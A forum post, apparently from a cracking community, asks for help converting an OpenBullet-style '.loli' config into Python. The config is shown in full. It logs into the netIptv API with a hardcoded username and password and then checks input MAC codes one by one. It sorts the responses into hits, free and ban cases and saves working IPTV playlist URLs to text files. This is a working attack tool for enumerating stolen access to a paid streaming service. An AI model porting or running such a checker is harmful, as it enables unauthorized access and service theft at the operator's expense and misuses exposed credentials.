Super
hello, can you convert this config from .loli to .py please
Show ContentSpoiler:
锘縖SETTINGS]
{
"Name": "netIptv_APP",
"SuggestedBots": 50,
"MaxCPM": 0,
"LastModified": "2022-06-12T18:14:54.4762143+03:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "Anonimus",
"Version": "1.1.0 [SB]",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"CaptchaUrl": "",
"IsBase64": false,
"FilterList": [],
"EvaluateMathOCR": false,
"SecurityProtocol": 0,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"DisableNotifications": false,
"DisableImageLoading": false,
"DefaultProfileDirectory": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}
[SCRIPT]
#UPPERCASE FUNCTION ToUppercase "<CODE>" -> VAR "MAC"
#ENCODE FUNCTION URLEncode "<CODE>" -> VAR "MAC1"
FUNCTION Replace "%3A" ":" "<CODE>" -> VAR "MAC"
REQUEST POST "http://netiptv.eu/token"
CONTENT "grant_type=password&username=CemCan&password=X4rvpCDV873CPkRn"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "User-Agent: okhttp/2.3.0"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
PARSE "<SOURCE>" LR "{\"access_token\":\"" "\"" -> VAR "TOKEN"
REQUEST GET "http://www.netiptv.eu/getMacData/<CODE>" AcceptEncoding=FALSE AutoRedirect=FALSE
HEADER "Authorization: Bearer <TOKEN>"
HEADER "User-Agent: okhttp/2.3.0"
HEADER "Accept: application/json,audio/x-mpegurl"
PARSE "<SOURCE>" JSON "urlList" CreateEmpty=FALSE -> CAP "m3u"
KEYCHECK
KEYCHAIN Failure OR
KEY "urlList\":\"\\r\\n\\r\\n\\r\\n\",\"epgList"
KEYCHAIN Success OR
KEY "<m3u>" Contains "http"
KEYCHAIN Custom "FREE" OR
KEY "<m3u>" Contains "http://netiptv.eu/netiptv.m3u"
KEYCHAIN Ban OR
KEY "<RESPONSECODE>" Contains "429"
KEY "Error:General Error"
FUNCTION Replace "\\r\\n" " - " "<m3u>" -> CAP "url"
UTILITY File "NetIpTv/netiptv.txt" AppendLines "馃枼 饾悓饾悁饾悅: <CODE>\\n馃摵 Lista:\\n<url>"
UTILITY File "NetIpTv/mac.txt" AppendLines "<CODE>"
UTILITY File "NetIpTv/m3u.txt" AppendLines "<url>"